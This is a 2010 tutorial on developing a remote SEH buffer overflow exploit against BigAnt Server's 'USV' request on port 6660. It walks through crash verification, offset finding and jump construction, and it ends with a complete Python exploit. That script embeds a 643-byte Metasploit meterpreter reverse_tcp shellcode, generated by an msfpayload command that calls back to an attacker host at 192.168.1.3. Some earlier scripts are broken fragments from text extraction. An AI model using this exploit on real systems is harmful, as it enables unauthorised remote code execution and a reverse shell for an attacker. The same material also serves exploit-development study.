Remote Buffer Overflow Exploits
Remote Buffer Overflow Exploits
2010
Remote Buffer Overflow Exploits
Introduction:
In this paper I will try to explain the concepts of Remote Buffer overflow
exploits from a practical perspective. This paper doesn’t not explain the
concepts of O.S and Processor that are very necessary to understand the
exploit development process, doesn’t matter that you are messing with a
complex application or a simple application. So it is assumed that readers
have some background knowledge about exploits.
As you can see in the advisory that application is prone to buffer overflow,
notice the request “USV” . So on the basis of this information we start our
journey of exploit development.
Development process:
Ok to verify the vulnerability we quickly write a python script that will send
the 3000 A’s(you can choose this value according to your needs ) to the
application with “USV” request.
Script:
#!/usr/bin/python
2
#Author: DouBle_Zer0
s.connect((host,6660))
s.close()
#End
Now
As you can see in the figure that application status is “stopped” means it
verify that application is vulnerable to buffer overflow and it also gives us an
idea that 3000 A’s are enough to trigger the overflow. Now our next step is
to find out the type of overflow means direct EIP overwrite or SEH(
Structured Exception Handler) overwrite and the correct offset means after
how many bytes EIP and SEH overwrite occur. On the basis of background
application study I can say that direct EIP overwrite is not possible but
application allow SEH overwrite so we exploit the application using SEH
overwrite method. Now we have to find out the offset, means after how
3
many bytes SEH overwrite occur. To do this we will use metasploit
pattern_create script that generate random sequence string.
Execute ./pattern_create.rb 3000 copy and paste the output in the above
script. Now script looks like this.
#!/usr/bin/python
#Author: DouBle_Zer0
s.connect((host,6660))
s.close()
#End
4
Now everything is up and running. execute the script..
./bigant.py 192.168.1.2
As you can see in the debugger that pointer to SEH record and SE handler
are overwritten with our random data means
5
And the output will be 966 means after 966 bytes our seh overwrite occur.
Minus 4 bytes for next seh record and now we have 962 bytes. That’s all we
need. Now our task is to find out the pop pop ret. But before that I would
like to explain something. In a general seh overflow exploit we overwrite the
SE Handler with pop pop ret and pointer to next Seh record with a short
jump that jump over the SE handler. Means situation looks like this..
^------------------------^
Short jump jump over pop pop ret and we land into nops and then execute
shellcode.
But in this paper I am using a different approach, and this approach is most
widely used to bypass safe seh. Means rather than to jump over SE Handler
why not to jump back via short jump.. means the situation looks like this..
^----------------^ ^-----------<^
See the difference between both diagrams..take some time to unders tand
this..
Now question is why to use Two jumps?.. because we can not jump 900
bytes back via short jump so we have to use a near jump. We first jump on
the near jump via short jump and then jump back to nops via near jump,
and Technically speaking we can partial overwrite the SE Handler(pop pop
ret ) as we do in most of the cases and that work fine for most of the
applications.. But application(BigAnt Server) is slightly different and don’t
allow the partial overwrite.(slightly play with application and indentify the
problem )
Now it’s time to search for a pop pop ret, you can use findjump tool or
debuggers to find out the addresses. The address I am using is 0f9a3295.
Nops = “\x90” * 20
------------962 bytes---------------------------------------------------------
Due to application constraints we have to add some garbage after pop pop
ret and this is the main reason that we can’t partial overwrite the register.
Command:
#./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.3 R |
./msfencode -e x86/alpha_mixed -t c
Notice the pipe (|) in the above command (after R).. Ok now everything is
ready. Put all things in the script..
#!/usr/bin/python
import sys,socket
host = sys.argv[1]
buffer= "\x90" * 20
7
#./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.3 R |
./msfencode -e x86/alpha_mixed -t c
#size 643 byte
buffer+= ("\x89\xe1\xd9\xce\xd9\x71\xf4\x59\x49\x49\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a\x41"
"\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32\x42"
"\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x49"
"\x6c\x49\x78\x4c\x49\x47\x70\x43\x30\x47\x70\x45\x30\x4f\x79"
"\x4a\x45\x50\x31\x49\x42\x45\x34\x4e\x6b\x42\x72\x50\x30\x4e"
"\x6b\x50\x52\x44\x4c\x4c\x4b\x51\x42\x47\x64\x4e\x6b\x51\x62"
"\x44\x68\x46\x6f\x4d\x67\x50\x4a\x51\x36\x45\x61\x4b\x4f\x44"
"\x71\x49\x50\x4c\x6c\x45\x6c\x50\x61\x43\x4c\x44\x42\x46\x4c"
"\x51\x30\x4a\x61\x4a\x6f\x44\x4d\x46\x61\x4a\x67\x4b\x52\x4a"
"\x50\x42\x72\x50\x57\x4c\x4b\x42\x72\x44\x50\x4e\x6b\x42\x62"
"\x45\x6c\x47\x71\x48\x50\x4c\x4b\x51\x50\x42\x58\x4b\x35\x49"
"\x50\x50\x74\x50\x4a\x47\x71\x48\x50\x50\x50\x4c\x4b\x43\x78"
"\x46\x78\x4e\x6b\x51\x48\x47\x50\x43\x31\x49\x43\x49\x73\x47"
"\x4c\x51\x59\x4c\x4b\x45\x64\x4c\x4b\x43\x31\x4b\x66\x44\x71"
"\x49\x6f\x50\x31\x4f\x30\x4e\x4c\x49\x51\x48\x4f\x46\x6d\x43"
"\x31\x4a\x67\x44\x78\x49\x70\x51\x65\x4a\x54\x45\x53\x51\x6d"
"\x4a\x58\x45\x6b\x43\x4d\x51\x34\x43\x45\x48\x62\x43\x68\x4e"
"\x6b\x46\x38\x51\x34\x43\x31\x4b\x63\x45\x36\x4e\x6b\x44\x4c"
"\x50\x4b\x4c\x4b\x43\x68\x47\x6c\x46\x61\x4e\x33\x4c\x4b\x44"
"\x44\x4c\x4b\x47\x71\x4a\x70\x4c\x49\x43\x74\x51\x34\x51\x34"
"\x43\x6b\x51\x4b\x50\x61\x42\x79\x51\x4a\x46\x31\x4b\x4f\x49"
"\x70\x46\x38\x43\x6f\x51\x4a\x4e\x6b\x42\x32\x48\x6b\x4d\x56"
"\x43\x6d\x50\x68\x46\x53\x46\x52\x45\x50\x43\x30\x43\x58\x43"
"\x47\x50\x73\x50\x32\x43\x6f\x42\x74\x45\x38\x50\x4c\x43\x47"
"\x46\x46\x47\x77\x49\x6f\x4b\x65\x4c\x78\x4e\x70\x45\x51\x47"
"\x70\x47\x70\x45\x79\x48\x44\x43\x64\x42\x70\x42\x48\x44\x69"
"\x4b\x30\x42\x4b\x47\x70\x4b\x4f\x48\x55\x50\x50\x46\x30\x46"
"\x30\x46\x30\x43\x70\x50\x50\x47\x30\x46\x30\x43\x58\x4a\x4a"
"\x44\x4f\x49\x4f\x49\x70\x4b\x4f\x4b\x65\x4a\x37\x50\x6a\x44"
"\x45\x43\x58\x4f\x30\x4e\x48\x47\x71\x44\x43\x45\x38\x45\x52"
"\x43\x30\x44\x51\x43\x6c\x4e\x69\x49\x76\x50\x6a\x42\x30\x50"
"\x56\x46\x37\x50\x68\x4a\x39\x4d\x75\x44\x34\x50\x61\x4b\x4f"
"\x4b\x65\x4f\x75\x4b\x70\x42\x54\x44\x4c\x4b\x4f\x42\x6e\x47"
"\x78\x44\x35\x4a\x4c\x43\x58\x4a\x50\x48\x35\x4d\x72\x43\x66"
"\x4b\x4f\x4a\x75\x50\x6a\x47\x70\x43\x5a\x45\x54\x46\x36\x43"
"\x67\x42\x48\x44\x42\x49\x49\x4f\x38\x51\x4f\x4b\x4f\x4b\x65"
"\x4e\x6b\x47\x46\x50\x6a\x51\x50\x42\x48\x45\x50\x42\x30\x43"
"\x30\x45\x50\x50\x56\x42\x4a\x45\x50\x42\x48\x51\x48\x4c\x64"
"\x46\x33\x4a\x45\x49\x6f\x4e\x35\x4a\x33\x43\x63\x42\x4a\x45"
"\x50\x46\x36\x43\x63\x50\x57\x50\x68\x44\x42\x48\x59\x4f\x38"
"\x43\x6f\x4b\x4f\x4e\x35\x43\x31\x48\x43\x51\x39\x4f\x36\x4c"
"\x45\x49\x66\x43\x45\x48\x6c\x4b\x73\x44\x4a\x41\x41")
buffer+= "\x90" * 294
buffer+= "\xe9\x4c\xfc\xff\xff" #near jmp -----> shellcode
buffer+= "\xeb\xf9\x90\x90" #short jmp ----> near jmp
buffer+= "\x95\x32\x9a\x0f" #p/p/r(partial overwrite is not possible as
far as i know)
buffer+= "\x41" * 1000 #play
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,6660))
s.send("USV " + buffer + "\r\n\r\n")
8
s.close()
OR
http://www.exploit-db.com/exploits/10973
Fig:
9
For Videos and other stuff visit:
http://www.vimeo.com/doublezer0/videos
Findjump Tool:
http://godr.altervista.org/index.php?mod=none_Fdplus&fdaction=download
&url=sections/Download/useful_tools/findjmp2.zip
Stuff:
http://www.ngssoftware.com/papers/
http://www.intel.com/products/processor/manuals/
http://www.uninformed.org/
http://www.corelan.be:8800/index.php/category/security/exploits/
http://www.offensive-security.com/metasploit-unleashed/
http://www.exploit-db.com/papers
https://www.securinfos.info/english/security-papers-hacking-
whitepapers.php
~~~~~~~~~~~~~~~~~~~~THE END~~~~~~~~~~~~~~~~~~~~~~
10